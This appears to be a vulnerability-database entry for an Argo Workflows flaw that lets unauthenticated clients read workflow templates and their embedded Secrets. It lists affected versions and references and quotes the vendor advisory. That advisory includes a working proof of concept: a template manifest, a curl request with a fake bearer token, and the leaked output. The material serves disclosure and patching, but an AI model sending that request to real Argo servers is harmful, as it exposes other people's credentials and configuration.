CVE-2026-28229
highpriority · track · 30OT risk · elevatedEPSS 0.007 · 51 %ileEUUSEPSS · scored 2026-10-27
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 4.0.2 and 3.7.11, Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests. This vulnerability is fixed in 4.0.2 and 3.7.11.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–critical · 6.9–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (11)
Products and version ranges known to be affected.
- Go github.com/argoproj/argo-workflows/v2all versionsosvUSpkg:golang/github.com/argoproj/argo-workflows/v2
- Go github.com/argoproj/argo-workflows/v3< 3.7.11osvUSpkg:golang/github.com/argoproj/argo-workflows/v3
- Go github.com/argoproj/argo-workflows/v33.7.0 → 3.7.11osvUSpkg:golang/github.com/argoproj/argo-workflows/v3
- Go github.com/argoproj/argo-workflows/v4< 4.0.2osvUSpkg:golang/github.com/argoproj/argo-workflows/v4
advisories (3)
Vendor and ecosystem advisories describing this.
- GHSA-56px-hm34-xqj5Unauthorized access to Argo Workflows Template2026-03-11ghsa · osvUS
### Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests. ### Details https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72 Informers use the server’s rest config, so they read using server SA privileges. https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46 ### PoC 1. Create template ```yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ= ``` Then apply that with `kubectl apply -f poc.yml` 2. Query Argo Server with a fake token **Result:** ```cmd > kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created > curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}} ``` ### Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.
- BIT-argo-workflows-2026-28229Argo Workflows has unauthorized access to Argo Workflows Template2026-03-13vendor · osvUS
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 4.0.2 and 3.7.11, Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests. This vulnerability is fixed in 4.0.2 and 3.7.11.
- GO-2026-4678Unauthorized access to Argo Workflows Template in github.com/argoproj/argo-workflows2026-03-12vendor · osvUS
Unauthorized access to Argo Workflows Template in github.com/argoproj/argo-workflows
also known as (6)
Other names and identifiers for this entity.
- CNNVD-202603-2158cnnvd
- EUVD-2026-11196enisa_euvd
- GHSA-56px-hm34-xqj5enisa_euvd
- BIT-argo-workflows-2026-28229osv
- GHSA-56px-hm34-xqj5osv
- GO-2026-4678osv
sources
Which sources assert this record, and when.
references (9)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-28229cnnvd
- https://github.com/argoproj/argo-workflows/releasesPatchcnnvd
- https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5cnnvd
- https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5enisa_euvd
- https://access.redhat.com/errata/RHSA-2026:10184nvd
- https://access.redhat.com/security/cve/CVE-2026-28229nvd
- https://bugzilla.redhat.com/show_bug.cgi?id=2446549nvd
- https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5ExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan